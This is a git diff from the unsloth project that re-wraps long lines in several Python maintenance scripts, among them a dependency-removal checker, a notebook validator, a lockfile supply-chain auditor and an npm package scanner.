tests/saving/test_is_gpt_oss_detection.py | 20 +- .../saving/test_llm_compressor_install_pin.py | 27 +- .../test_preserve_tokenizer_eos_token.py | 7 +- .../test_prewarm_base_model_hub_cache.py | 31 +- tests/saving/test_save_shell_injection.py | 27 +- .../test_save_subprocess_utf8_encoding.py | 4 +- .../test_torchao_remote_code_consent.py | 19 +- tests/saving/test_unsloth_save.py | 64 +- .../saving/text_to_speech_models/test_csm.py | 4 +- .../saving/text_to_speech_models/test_lasa.py | 4 +- .../text_to_speech_models/test_orpheus.py | 8 +- .../text_to_speech_models/test_whisper.py | 8 +- .../test_lockfile_supply_chain_audit.py | 4 +- tests/security/test_new_install_scripts.py | 7 +- .../test_release_desktop_permissions.py | 6 +- tests/security/test_scan_npm_packages.py | 87 +- tests/security/test_scan_packages.py | 263 +++- tests/studio/_playwright_robust.py | 14 +- .../install/smoke_test_llama_prebuilt.py | 12 +- .../smoke_test_parallel_studio_home.py | 35 +- tests/studio/install/test_cuda_repair.py | 32 +- .../install/test_download_host_resolve.py | 20 +- .../install/test_gpu_detection_followups.py | 57 +- tests/studio/install/test_hf_auth.py | 4 +- .../test_install_llama_prebuilt_logic.py | 230 +++- .../test_install_node_prebuilt_logic.py | 172 ++- .../install/test_llama_pr_force_and_source.py | 27 +- .../install/test_macos_version_compat.py | 21 +- tests/studio/install/test_pr4562_bugfixes.py | 95 +- tests/studio/install/test_pr5940_followups.py | 81 +- tests/studio/install/test_probe_timeouts.py | 8 +- .../studio/install/test_rocm_rdna_routing.py | 4 +- tests/studio/install/test_rocm_support.py | 326 +++-- tests/studio/install/test_selection_logic.py | 392 ++++-- tests/studio/load_freeze/llama_server_shim.py | 8 +- .../load_freeze/test_load_orchestrator.py | 12 +- tests/studio/playwright_chat_ime_i18n.py | 29 +- tests/studio/playwright_chat_ui.py | 111 +- tests/studio/playwright_extra_ui.py | 40 +- tests/studio/run_real_mlx_smoke.py | 39 +- tests/studio/studio_api_smoke.py | 4 +- tests/studio/test_auth_form_input_count.py | 5 +- tests/studio/test_cancel_atomicity.py | 16 +- tests/studio/test_cancel_id_wiring.py | 12 +- .../test_chat_preset_builtin_invariants.py | 4 +- tests/studio/test_chat_prompt_variables.py | 4 +- .../test_chat_response_details_ui_contract.py | 10 +- tests/studio/test_chat_title_generation.py | 12 +- tests/studio/test_cli_repo_variant.py | 8 +- tests/studio/test_cli_run_alias.py | 8 +- tests/studio/test_cli_studio_defaults.py | 8 +- tests/studio/test_cli_studio_stop_windows.py | 13 +- .../test_composer_rtl_bidi_attribute.py | 8 +- .../test_export_output_path_contract.py | 8 +- tests/studio/test_frontend_dep_removal.py | 32 +- tests/studio/test_hardware_dispatch_matrix.py | 22 +- tests/studio/test_is_mlx_dispatch_gate.py | 8 +- .../test_locale_root_direction_contract.py | 4 +- ...test_settings_compact_overflow_contract.py | 14 +- .../test_stream_cancel_registration_timing.py | 53 +- .../test_studio_gguf_export_script_pin.py | 25 +- .../test_studio_text_descender_clipping.py | 16 +- tests/studio/test_sync_allow_scripts_pins.py | 10 +- ...usage_examples_agent_detection_contract.py | 8 +- tests/test_callback_signature_drift.py | 4 +- tests/test_enforce_kwargs_spacing.py | 22 +- tests/test_fast_generate_slow_guard.py | 20 +- tests/test_fp8_device_context.py | 42 +- tests/test_fp8_restore_dropped_scale.py | 41 +- tests/test_fused_ce_not_return_dict_logits.py | 8 +- tests/test_gemma4_chat_template.py | 4 +- tests/test_gemma_2b_mapper_key.py | 4 +- tests/test_generate_kwarg_gate.py | 19 +- tests/test_get_model_name.py | 8 +- tests/test_gradient_checkpointing_restore.py | 36 +- tests/test_ignored_tokenizer_casing.py | 4 +- tests/test_import_fixes_drift.py | 33 +- tests/test_installer_skip_autostart.py | 6 +- tests/test_loader_glob_skip.py | 9 +- tests/test_model_registry.py | 15 +- tests/test_multi_image_grpo_chunking.py | 16 +- tests/test_offline_loading_helpers.py | 36 +- tests/test_offload_embedding_hooks.py | 5 +- tests/test_peft_tensor_parallel_compat.py | 23 +- tests/test_peft_weight_converter_compat.py | 8 +- tests/test_prefetch_snapshot_scope.py | 132 +- tests/test_pretrain_compile_reset.py | 4 +- tests/test_raw_text.py | 19 +- tests/test_studio_install_workspace_guard.py | 76 +- tests/test_studio_root_resilience.py | 29 +- tests/test_studio_shutdown_thread_wait.py | 11 +- tests/test_synthetic_chunk_data.py | 16 +- tests/test_tool_mask_zoo_compat.py | 13 +- tests/test_uninitialized_position_ids.py | 8 +- tests/test_video_path_validation.py | 82 +- tests/test_vllm_broken_detection.py | 16 +- tests/test_windows_rocm_bnb_version.py | 16 +- tests/utils/aime_eval.py | 36 +- tests/utils/cleanup_utils.py | 8 +- tests/utils/data_utils.py | 8 +- tests/utils/generate_dataset_with_none.py | 8 +- tests/utils/hf_utils.py | 30 +- tests/utils/ocr_eval.py | 35 +- tests/utils/os_utils.py | 12 +- tests/utils/perplexity_eval.py | 12 +- tests/utils/run_none_detect_tests.py | 48 +- .../test_attention_dispatch_dora_dtype.py | 27 +- tests/utils/test_attention_masks.py | 12 +- .../test_batched_leftpad_generation_gpu.py | 11 +- tests/utils/test_packing.py | 183 ++- tests/utils/test_prepare_inputs_leftpad.py | 22 +- tests/utils/test_q_galore.py | 24 +- tests/utils/test_rope_scaling_drift.py | 28 +- tests/utils/test_trunc_normal_patch.py | 4 +- tests/utils/test_xformers_capability_gate.py | 4 +- .../test_bitsandbytes_pinned_symbols.py | 45 +- .../test_peft_pinned_symbols.py | 16 +- ...st_sentence_transformers_pinned_symbols.py | 20 +- .../test_transformers_pinned_symbols.py | 32 +- .../version_compat/test_trl_fake_train_cpu.py | 12 +- .../version_compat/test_trl_grpo_fake_run.py | 17 +- .../test_trl_grpo_pinned_symbols.py | 35 +- ..._unsloth_zoo_save_merged_pinned_symbols.py | 12 +- .../test_extended_module_imports.py | 18 +- tests/vllm_compat/test_vllm_pinned_symbols.py | 26 +- unsloth-cli.py | 38 +- unsloth/__init__.py | 126 +- unsloth/_compressed_quantize.py | 23 +- unsloth/_gpu_init.py | 8 +- unsloth/dataprep/raw_text.py | 40 +- unsloth/dataprep/synthetic.py | 20 +- unsloth/device_type.py | 12 +- unsloth/import_fixes.py | 198 ++- unsloth/kernels/__init__.py | 4 +- unsloth/kernels/cross_entropy_loss.py | 8 +- unsloth/kernels/fast_lora.py | 13 +- unsloth/kernels/flex_attention.py | 8 +- unsloth/kernels/fp8.py | 62 +- unsloth/kernels/geglu.py | 20 +- unsloth/kernels/layernorm.py | 12 +- unsloth/kernels/moe/autotune_cache.py | 16 +- .../moe/benchmark/benchmark_fused_moe.py | 42 +- unsloth/kernels/moe/benchmark/utils.py | 21 +- unsloth/kernels/moe/grouped_gemm/interface.py | 85 +- .../moe/grouped_gemm/kernels/autotuning.py | 13 +- .../moe/grouped_gemm/kernels/backward.py | 32 +- .../moe/grouped_gemm/kernels/forward.py | 21 +- .../moe/grouped_gemm/kernels/tuning.py | 8 +- .../reference/layers/llama4_moe.py | 46 +- .../reference/layers/qwen3_moe.py | 33 +- .../moe/grouped_gemm/reference/moe_block.py | 15 +- .../moe/grouped_gemm/reference/moe_ops.py | 12 +- unsloth/kernels/moe/tests/common.py | 59 +- unsloth/kernels/moe/tests/moe_utils.py | 76 +- .../kernels/moe/tests/test_grouped_gemm.py | 106 +- unsloth/kernels/moe/tests/test_llama4_moe.py | 40 +- unsloth/kernels/moe/tests/test_qwen3_moe.py | 48 +- unsloth/kernels/rms_layernorm.py | 8 +- unsloth/kernels/rope_embedding.py | 44 +- unsloth/kernels/swiglu.py | 16 +- unsloth/kernels/utils.py | 32 +- unsloth/models/_utils.py | 306 +++-- unsloth/models/cohere.py | 68 +- unsloth/models/diffusion.py | 22 +- unsloth/models/falcon_h1.py | 80 +- unsloth/models/gemma.py | 54 +- unsloth/models/gemma2.py | 70 +- unsloth/models/glm4_moe.py | 28 +- unsloth/models/granite.py | 77 +- unsloth/models/llama.py | 393 ++++-- unsloth/models/loader.py | 121 +- unsloth/models/loader_utils.py | 100 +- unsloth/models/mistral.py | 50 +- unsloth/models/qwen2.py | 8 +- unsloth/models/qwen3.py | 48 +- unsloth/models/qwen3_moe.py | 28 +- unsloth/models/rl.py | 164 ++- unsloth/models/rl_replacements.py | 375 ++++-- unsloth/models/sentence_transformer.py | 254 +++- unsloth/models/vision.py | 169 ++- unsloth/optimizers/q_galore_adamw.py | 12 +- unsloth/optimizers/q_galore_projector.py | 4 +- unsloth/registry/__init__.py | 20 +- unsloth/registry/_deepseek.py | 28 +- unsloth/registry/_gemma.py | 4 +- unsloth/registry/_llama.py | 16 +- unsloth/registry/_mistral.py | 16 +- unsloth/registry/_phi.py | 4 +- unsloth/registry/_qwen.py | 16 +- unsloth/registry/registry.py | 8 +- unsloth/save.py | 386 ++++-- unsloth/tokenizer_utils.py | 115 +- unsloth/trainer.py | 71 +- unsloth/utils/attention_dispatch.py | 66 +- unsloth/utils/packing.py | 51 +- unsloth/utils/prefix_grouper.py | 20 +- unsloth/utils/prefix_grouper_kernel.py | 28 +- unsloth_cli/__init__.py | 4 +- unsloth_cli/_inference.py | 40 +- unsloth_cli/commands/_password_prompt.py | 24 +- unsloth_cli/commands/chat.py | 63 +- unsloth_cli/commands/export.py | 4 +- unsloth_cli/commands/inference.py | 4 +- unsloth_cli/commands/start.py | 138 +- unsloth_cli/commands/studio.py | 127 +- unsloth_cli/commands/train.py | 12 +- unsloth_cli/config.py | 4 +- unsloth_cli/tests/test_inference_chat.py | 110 +- unsloth_cli/tests/test_start.py | 549 ++++++-- .../tests/test_studio_cloudflare_flag.py | 40 +- .../tests/test_studio_password_prompt.py | 148 ++- .../tests/test_studio_run_parallel_flag.py | 24 +- .../test_studio_run_short_alias_clashes.py | 28 +- unsloth_cli/tests/test_studio_secure_flag.py | 60 +- unsloth_cli/tests/test_studio_verbose_flag.py | 4 +- 682 files changed, 25903 insertions(+), 8390 deletions(-) diff --git a/scripts/check_frontend_dep_removal.py b/scripts/check_frontend_dep_removal.py index b95c4ca7f6..74d089220b 100644 --- a/scripts/check_frontend_dep_removal.py +++ b/scripts/check_frontend_dep_removal.py @@ -52,7 +52,9 @@ EXPECTED_NOISE_FILES = { } # File types where a quoted string can be a module specifier. -JS_LIKE_EXT = re.compile(r"\.(ts|tsx|js|jsx|mjs|cjs|html|htm|css|scss|sass|json|jsonc)$") +JS_LIKE_EXT = re.compile( + r"\.(ts|tsx|js|jsx|mjs|cjs|html|htm|css|scss|sass|json|jsonc)$" +) # Files where JS import patterns could be a real module reference (.mdx is # real ESM; .md code fences are not). SCRIPT_LIKE_EXT = re.compile(r"\.(ts|tsx|js|jsx|mjs|cjs|mdx)$") @@ -249,7 +251,9 @@ def classify(pkg: str, file: str, content: str) -> str | None: if is_script and re.search(rf"\bimport\(\s*['\"]{esc}{sub}['\"]\s*\)", content): return "dynamic_import" # require / require.resolve - if is_script and re.search(rf"\brequire(?:\.resolve)?\(\s*['\"]{esc}{sub}['\"]\s*\)", content): + if is_script and re.search( + rf"\brequire(?:\.resolve)?\(\s*['\"]{esc}{sub}['\"]\s*\)", content + ): return "require" # Re-exports: `export * from`, `export { x } from`, `export type { Foo } from`. if is_script and re.search( @@ -261,12 +265,16 @@ def classify(pkg: str, file: str, content: str) -> str | None: # HTML script / link. Match pkg as a complete path segment so # `/node_modules/foo-extra/...` is not treated as usage of `foo`. html_pkg = rf"{esc}(?:/[^'\"#?]*)?(?=['\"#?])" - if is_html and re.search(rf"]*src\s*=\s*['\"][^'\"]*/{html_pkg}", content): + if is_html and re.search( + rf"]*src\s*=\s*['\"][^'\"]*/{html_pkg}", content + ): return "html_script" if is_html and re.search(rf"]*href\s*=\s*['\"][^'\"]*/{html_pkg}", content): return "html_link" # TypeScript triple-slash - if is_ts and re.search(rf"///\s* str | None: if first in {"npx", "pnpx", "bunx"} and idx + 1 < len(words): idx += 1 continue - if first in {"pnpm", "yarn"} and idx + 2 < len(words) and words[idx + 1] in {"exec", "dlx"}: + if ( + first in {"pnpm", "yarn"} + and idx + 2 < len(words) + and words[idx + 1] in {"exec", "dlx"} + ): idx += 2 continue # 3. Wrapper bin (cross-env, dotenv): skip its flags and env prefixes. - bin_token = first.removeprefix("./node_modules/.bin/").removeprefix("node_modules/.bin/") + bin_token = first.removeprefix("./node_modules/.bin/").removeprefix( + "node_modules/.bin/" + ) if bin_token in _SCRIPT_WRAPPERS and bin_token not in seen_wrappers: seen_wrappers.add(bin_token) idx += 1 @@ -510,7 +524,9 @@ def _next_real_bin(words: list[str], idx: int) -> str | None: return None -def scripts_bin_refs(head_pkg: dict, bin_to_pkg: dict[str, str]) -> dict[str, list[str]]: +def scripts_bin_refs( + head_pkg: dict, bin_to_pkg: dict[str, str] +) -> dict[str, list[str]]: """Return `{package_name: ['scripts.X: cmd', ...]}` for every package referenced via its bin name in package.json scripts. @@ -566,7 +582,11 @@ def tsconfig_compiler_types_refs() -> set[str]: if not isinstance(t, str): continue # `vite/client` resolves to the `vite` package. - pkg = t.split("/", 1)[0] if not t.startswith("@") else "/".join(t.split("/", 2)[:2]) + pkg = ( + t.split("/", 1)[0] + if not t.startswith("@") + else "/".join(t.split("/", 2)[:2]) + ) out.add(pkg) return out @@ -704,7 +724,9 @@ _file_lines_cache: dict[str, list[str]] = {} def _read_file(path: str) -> list[str]: if path not in _file_lines_cache: try: - _file_lines_cache[path] = Path(path).read_text(errors = "replace").splitlines() + _file_lines_cache[path] = ( + Path(path).read_text(errors = "replace").splitlines() + ) except (OSError, UnicodeDecodeError): _file_lines_cache[path] = [] return _file_lines_cache[path] @@ -819,14 +841,18 @@ def find_types_runtime_usage(pkg: str, tsc_types: set[str]) -> list[Hit]: def main() -> int: - p = argparse.ArgumentParser(description = __doc__, formatter_class = argparse.RawTextHelpFormatter) + p = argparse.ArgumentParser( + description = __doc__, formatter_class = argparse.RawTextHelpFormatter + ) p.add_argument( "--base", default = "origin/main", help = "git ref to diff against (default: origin/main). " "Examples: HEAD~1, main, a-tag, a-sha.", ) - p.add_argument("--base-pkg", help = "optional override: read base package.json from this path") + p.add_argument( + "--base-pkg", help = "optional override: read base package.json from this path" + ) p.add_argument( "--base-lock", help = "optional override: read base package-lock.json from this path. " @@ -918,7 +944,9 @@ def main() -> int: print(f" - {w}") print() if missing_imports: - print(f"Imports without a matching package.json dep ({len(missing_imports)}):") + print( + f"Imports without a matching package.json dep ({len(missing_imports)}):" + ) for file, ln, spec in missing_imports[:20]: print(f" - {file}:{ln} imports '{spec}'") print() @@ -956,7 +984,9 @@ def main() -> int: return 1 return 0 - print(f"Checking {len(removed)} removed package(s) from studio/frontend/package.json") + print( + f"Checking {len(removed)} removed package(s) from studio/frontend/package.json" + ) print(f"Base: {args.base} Head: working tree") print() @@ -980,7 +1010,9 @@ def main() -> int: top = f"node_modules/{name}" top_path = top if top in reachable_paths else None nested = sorted( - p for p in reachable_paths if p != top and p.endswith(f"/node_modules/{name}") + p + for p in reachable_paths + if p != top and p.endswith(f"/node_modules/{name}") ) return top_path, nested @@ -1026,7 +1058,9 @@ def main() -> int: _print_hygiene() if failures: - print(f"FAIL: {len(failures)} removed package(s) still referenced and not resolvable") + print( + f"FAIL: {len(failures)} removed package(s) still referenced and not resolvable" + ) for name, _ in failures: print(f" - {name}") return 1 diff --git a/scripts/check_new_install_scripts.py b/scripts/check_new_install_scripts.py index 604d9b9f90..27e505c360 100644 --- a/scripts/check_new_install_scripts.py +++ b/scripts/check_new_install_scripts.py @@ -38,7 +38,9 @@ HIGH = "HIGH" class Finding: __slots__ = ("severity", "name", "version", "kind", "detail") - def __init__(self, severity: str, name: str, version: str, kind: str, detail: str) -> None: + def __init__( + self, severity: str, name: str, version: str, kind: str, detail: str + ) -> None: self.severity = severity self.name = name self.version = version @@ -161,7 +163,9 @@ def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]: if key in base: continue # pre-existing install-script dep; not in scope name = head[key] - version = key[len(name) + 1 :] if key.startswith(name + "@") else "" + version = ( + key[len(name) + 1 :] if key.startswith(name + "@") else "" + ) scripts = _fetch_registry_scripts(name, version) if scripts: detail = "; ".join(f"{h}={cmd!r}" for h, cmd in scripts.items()) diff --git a/scripts/enforce_kwargs_spacing.py b/scripts/enforce_kwargs_spacing.py index dc4a6d6821..64f7eb757e 100755 --- a/scripts/enforce_kwargs_spacing.py +++ b/scripts/enforce_kwargs_spacing.py @@ -123,7 +123,9 @@ def remove_redundant_passes(text: str) -> tuple[str, bool]: lines = text.splitlines(keepends=True) changed = False - for node in sorted(redundant, key=lambda item: (item.lineno, item.col_offset), reverse=True): + for node in sorted( + redundant, key=lambda item: (item.lineno, item.col_offset), reverse=True + ): start = node.lineno - 1 end = (node.end_lineno or node.lineno) - 1 if start >= len(lines): @@ -181,7 +183,11 @@ def remove_blank_after_short_import(text: str) -> tuple[str, bool]: out: list[list[ast.stmt]] = [] for attr in ("body", "orelse", "finalbody"): val = getattr(node, attr, None) - if isinstance(val, list) and val and all(isinstance(s, ast.stmt) for s in val): + if ( + isinstance(val, list) + and val + and all(isinstance(s, ast.stmt) for s in val) + ): out.append(val) return out @@ -199,7 +205,9 @@ def remove_blank_after_short_import(text: str) -> tuple[str, bool]: j += 1 if j + 1 < len(suite): # an import block followed by another statement last_imp, nxt = suite[j], suite[j + 1] - gap = range((last_imp.end_lineno or last_imp.lineno) + 1, nxt.lineno) + gap = range( + (last_imp.end_lineno or last_imp.lineno) + 1, nxt.lineno + ) nums = [n for n in gap if 1 <= n <= len(lines)] if nums and all(lines[n - 1].strip() == "" for n in nums): drop.update(nums) @@ -211,7 +219,13 @@ def remove_blank_after_short_import(text: str) -> tuple[str, bool]: return "".join(kept), True -_STRING_TRIVIA = (tokenize.NL, tokenize.NEWLINE, tokenize.COMMENT, tokenize.INDENT, tokenize.DEDENT) +_STRING_TRIVIA = ( + tokenize.NL, + tokenize.NEWLINE, + tokenize.COMMENT, + tokenize.INDENT, + tokenize.DEDENT, +) _DEF_MIN_PARAMS_FOR_MULTILINE = 3 # signatures with < this many params stay one line diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.py index 0688f6c65c..fcdf71e891 100644 --- a/scripts/lint_workflow_triggers.py +++ b/scripts/lint_workflow_triggers.py @@ -29,7 +29,9 @@ from pathlib import Path try: import yaml except ImportError: - print("ERROR: PyYAML is required. Install with 'pip install pyyaml'", file = sys.stderr) + print( + "ERROR: PyYAML is required. Install with 'pip install pyyaml'", file = sys.stderr + ) sys.exit(2) REPO_ROOT = Path(__file__).resolve().parents[1] @@ -133,7 +135,9 @@ def main() -> int: ) if findings: - print("Workflow trigger lint failed with the following issues:", file = sys.stderr) + print( + "Workflow trigger lint failed with the following issues:", file = sys.stderr + ) for f in findings: print(f" - {f}", file = sys.stderr) return 1 diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py index f9cf726dc1..fc478d497c 100644 --- a/scripts/lockfile_supply_chain_audit.py +++ b/scripts/lockfile_supply_chain_audit.py @@ -459,7 +459,9 @@ def audit_npm_lockfile(path: Path) -> list[Finding]: path = str(path), package = key, kind = "blocked-known-malicious", - detail = (f"{pkg_name}@{version} is on the BLOCKED_NPM_VERSIONS list"), + detail = ( + f"{pkg_name}@{version} is on the BLOCKED_NPM_VERSIONS list" + ), ) ) @@ -663,7 +665,9 @@ def main(argv: list[str] | None = None) -> int: "--cargo-lockfile", action = "append", default = None, - help = ("Path to a Cargo.lock (repeatable). Default: studio/src-tauri/Cargo.lock."), + help = ( + "Path to a Cargo.lock (repeatable). Default: studio/src-tauri/Cargo.lock." + ), ) parser.add_argument( "--strict", diff --git a/scripts/notebook_to_python.py b/scripts/notebook_to_python.py index 4b64123d6a..d4da846516 100644 --- a/scripts/notebook_to_python.py +++ b/scripts/notebook_to_python.py @@ -155,7 +155,9 @@ def convert_cell_to_python(source: str, *, allow_shell: bool = True) -> str: cmd_lines.append(lines[i].strip()) full_cmd = "\n".join(cmd_lines) - result.extend(_emit_shell_command(indent, full_cmd, allow_shell = allow_shell)) + result.extend( + _emit_shell_command(indent, full_cmd, allow_shell = allow_shell) + ) # %cd path -> os.chdir(path) elif stripped.startswith("%cd "): @@ -278,7 +280,9 @@ def convert_notebook_to_script( source_name = source output_filename = filename.replace(".ipynb", ".py") - output_filename = output_filename.replace("(", "").replace(")", "").replace("-", "_") + output_filename = ( + output_filename.replace("(", "").replace(")", "").replace("-", "_") + ) if output_dir: output_path = os.path.join(output_dir, output_filename) @@ -297,7 +301,9 @@ def convert_notebook_to_script( def main(): import argparse - class Formatter(argparse.ArgumentDefaultsHelpFormatter, argparse.RawDescriptionHelpFormatter): + class Formatter( + argparse.ArgumentDefaultsHelpFormatter, argparse.RawDescriptionHelpFormatter + ): pass parser = argparse.ArgumentParser( @@ -311,8 +317,12 @@ Examples: python notebook_to_python.py https://github.com/unslothai/notebooks/blob/main/nb/Oute_TTS_(1B).ipynb """, ) - parser.add_argument("notebooks", nargs = "+", help = "Notebook files or URLs to convert.") - parser.add_argument("-o", "--output", dest = "output_dir", default = ".", help = "Output directory.") + parser.add_argument( + "notebooks", nargs = "+", help = "Notebook files or URLs to convert." + ) + parser.add_argument( + "-o", "--output", dest = "output_dir", default = ".", help = "Output directory." + ) # Default True for backwards compat; pass --no-allow-shell for untrusted notebooks. parser.add_argument( "--allow-shell", diff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.py index c1be7a63a4..0ac52072fa 100644 --- a/scripts/notebook_validator.py +++ b/scripts/notebook_validator.py @@ -87,7 +87,9 @@ COLAB_ORACLE_FILES: dict[str, str] = { "apt-list-gpu.txt": "colab_apt_list.gpu.txt", "os-info-gpu.txt": "colab_os_info.gpu.txt", } -COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-info/main/" +COLAB_ORACLE_BASE_URL = ( + "https://raw.githubusercontent.com/googlecolab/backend-info/main/" +) # ----- Compat tables. PRs add rows as new releases land. ----- # @@ -187,7 +189,9 @@ def install_cells(nb: dict[str, Any]) -> list[tuple[int, str]]: if first and first[0].strip().startswith("%%capture"): out.append((i, src)) continue - if re.search(r"^[ \t]*!\s*(uv\s+)?pip\s+(install|uninstall)\b", src, re.MULTILINE): + if re.search( + r"^[ \t]*!\s*(uv\s+)?pip\s+(install|uninstall)\b", src, re.MULTILINE + ): out.append((i, src)) return out @@ -318,7 +322,9 @@ def parse_pip_line(line: str, line_no: int = 0) -> PipInvocation | None: if t in ("install", "uninstall"): continue packages.append(t) - return PipInvocation(tool = tool, flags = flags, packages = packages, raw = line, line_no = line_no) + return PipInvocation( + tool = tool, flags = flags, packages = packages, raw = line, line_no = line_no + ) def _glue_line_continuations(text: str) -> list[tuple[int, str]]: @@ -403,7 +409,9 @@ def pypi_metadata(name: str, version: str) -> dict[str, Any] | None: return data -def transitive_constraint(name: str, version: str, target: str) -> tuple[str | None, list[str]]: +def transitive_constraint( + name: str, version: str, target: str +) -> tuple[str | None, list[str]]: """Return (raw_specifier_string_or_None, list_of_(op,version) tuples) for the constraint that `name==version` places on `target`. """ @@ -477,7 +485,10 @@ def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]: out[sp.name] = ver pinned.add(sp.name) elif op == "<=" and sp.name not in pinned: - if sp.name not in upper_bounds or cmp_versions(ver, upper_bounds[sp.name]) < 0: + if ( + sp.name not in upper_bounds + or cmp_versions(ver, upper_bounds[sp.name]) < 0 + ): upper_bounds[sp.name] = ver # Apply upper bounds where Colab's preinstall violates them. for name, ub in upper_bounds.items(): @@ -492,7 +503,9 @@ def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]: # ----- Rules ----- # -def rule_inst_001_git_plus(install_cell: str, file: str, cell_idx: int) -> list[Finding]: +def rule_inst_001_git_plus( + install_cell: str, file: str, cell_idx: int +) -> list[Finding]: findings: list[Finding] = [] for inv in iter_pip_invocations(install_cell): if any("git+" in p for p in inv.packages) or "git+" in inv.raw: @@ -680,7 +693,9 @@ def rule_inst_005_transformers_tokenizers( _RE_DOUBLE_BANG = re.compile(r"^[ \t]*!{2,}\s*pip\b", re.MULTILINE) -def rule_inst_006_double_bang(install_cell: str, file: str, cell_idx: int) -> list[Finding]: +def rule_inst_006_double_bang( + install_cell: str, file: str, cell_idx: int +) -> list[Finding]: findings: list[Finding] = [] for m in _RE_DOUBLE_BANG.finditer(install_cell): line_no = install_cell.count("\n", 0, m.start()) + 1 @@ -771,7 +786,9 @@ POLICY_CLAUSES_DEFAULT = [ ] -def extract_policy_clauses(update_script: pathlib.Path) -> list[tuple[str, re.Pattern[str], Any]]: +def extract_policy_clauses( + update_script: pathlib.Path, +) -> list[tuple[str, re.Pattern[str], Any]]: """Best-effort scan of update_all_notebooks.py for canonical phrases; falls back to POLICY_CLAUSES_DEFAULT (which we use directly today). The permissive regexes avoid false positives on template rewords.""" @@ -831,7 +848,11 @@ def cmd_drift(args: argparse.Namespace) -> int: print(f"FAIL: {update_script} not found", file = sys.stderr) return 2 # Stash any pre-existing dirty state, run the updater, diff, restore. - head = subprocess.check_output(["git", "rev-parse", "HEAD"], cwd = nbdir).decode().strip() + head = ( + subprocess.check_output(["git", "rev-parse", "HEAD"], cwd = nbdir) + .decode() + .strip() + ) subprocess.run( ["git", "-C", str(nbdir), "stash", "--include-untracked"], check = False, @@ -932,7 +953,9 @@ def cmd_convert(args: argparse.Namespace) -> int: hint = proc.stderr[-200:].strip(), ) ) - print(f"converted {len(notebooks) - len(failed)}/{len(notebooks)} notebooks to {out}") + print( + f"converted {len(notebooks) - len(failed)}/{len(notebooks)} notebooks to {out}" + ) _emit(failed) return 0 if not failed else 1 @@ -942,7 +965,11 @@ def cmd_convert(args: argparse.Namespace) -> int: def cmd_lint(args: argparse.Namespace) -> int: nbdir = pathlib.Path(args.notebooks_dir).resolve() - colab_path = pathlib.Path(args.colab_pin).resolve() if args.colab_pin else COLAB_FALLBACK_FILE + colab_path = ( + pathlib.Path(args.colab_pin).resolve() + if args.colab_pin + else COLAB_FALLBACK_FILE + ) colab = parse_pip_freeze(colab_path) if not colab: print( @@ -982,9 +1009,13 @@ def cmd_lint(args: argparse.Namespace) -> int: first_cell = cells[0][0] if cells else None findings += rule_inst_003_peft_torchao(merged, oracle, rel, first_cell) findings += rule_inst_004_torchcodec_torch(merged, oracle, rel, first_cell) - findings += rule_inst_005_transformers_tokenizers(merged, oracle, rel, first_cell) + findings += rule_inst_005_transformers_tokenizers( + merged, oracle, rel, first_cell + ) if not args.no_pypi: - findings += rule_inst_002_no_deps_transitive(merged, oracle, rel, first_cell) + findings += rule_inst_002_no_deps_transitive( + merged, oracle, rel, first_cell + ) findings += scan_user_cells(nb, rel) _emit(findings) return 0 if not any(f.severity == "error" for f in findings) else 1 @@ -1159,7 +1190,9 @@ def cmd_colab_diff(args: argparse.Namespace) -> int: print(f"::warning::colab-diff: could not fetch {url}: {e}") continue if not snap_path.exists(): - print(f"::warning::colab-diff: no committed snapshot at {snap_path}; skipping") + print( + f"::warning::colab-diff: no committed snapshot at {snap_path}; skipping" + ) continue snapshot_text = snap_path.read_text(encoding = "utf-8", errors = "replace") parser = _COLAB_ORACLE_PARSERS[upstream_name] diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index 6c83552727..825b36f729 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -770,7 +770,8 @@ def download_tarball( written += len(chunk) if written > max_bytes: return dest, ( - f"download exceeded cap {max_bytes} bytes " f"after {written} bytes" + f"download exceeded cap {max_bytes} bytes " + f"after {written} bytes" ) h.update(chunk) out.write(chunk) @@ -867,7 +868,11 @@ def safe_extract( # each gets its own cap (both are bounded). header = src.read(16) is_binary = _looks_binary(name, header) - file_cap = HARD_MAX_BINARY_FILE_BYTES if is_binary else HARD_MAX_TEXT_FILE_BYTES + file_cap = ( + HARD_MAX_BINARY_FILE_BYTES + if is_binary + else HARD_MAX_TEXT_FILE_BYTES + ) if declared > file_cap: return ( f"member {name!r} declared size {declared} > " @@ -1195,7 +1200,11 @@ def _format_match( def _stream_overflow_digest( - matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] + matches, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], ) -> tuple[int, str]: """A single digest binding the LOGICAL line (the bound bracket-group context, not just the regex match text) of every overflow match in the iterable, plus @@ -1211,7 +1220,12 @@ def _stream_overflow_digest( def _fold_overflow_match( - h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] + h, + m: re.Match, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], ) -> None: """Fold one overflow match's whitespace-normalized logical-line context into the running hash ``h``. Shared by _stream_overflow_digest and the inline overflow @@ -1241,11 +1255,14 @@ def _evidence( return "" lines, sl_blanked, ml_blanked, nl = _index_text(text) shown = [ - _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) + for m in shown_matches ] # Fold the rest (past the cap) into one digest as they arrive, never building a # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. - overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + overflow_count, digest = _stream_overflow_digest( + it, lines, sl_blanked, ml_blanked, nl + ) if overflow_count: shown.append(f"(+{overflow_count} more) sha256:{digest}") return " | ".join(shown) @@ -1291,7 +1308,9 @@ _REGEX_PRECEDING_KEYWORDS = frozenset( "case", } ) -_IDENT_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$") 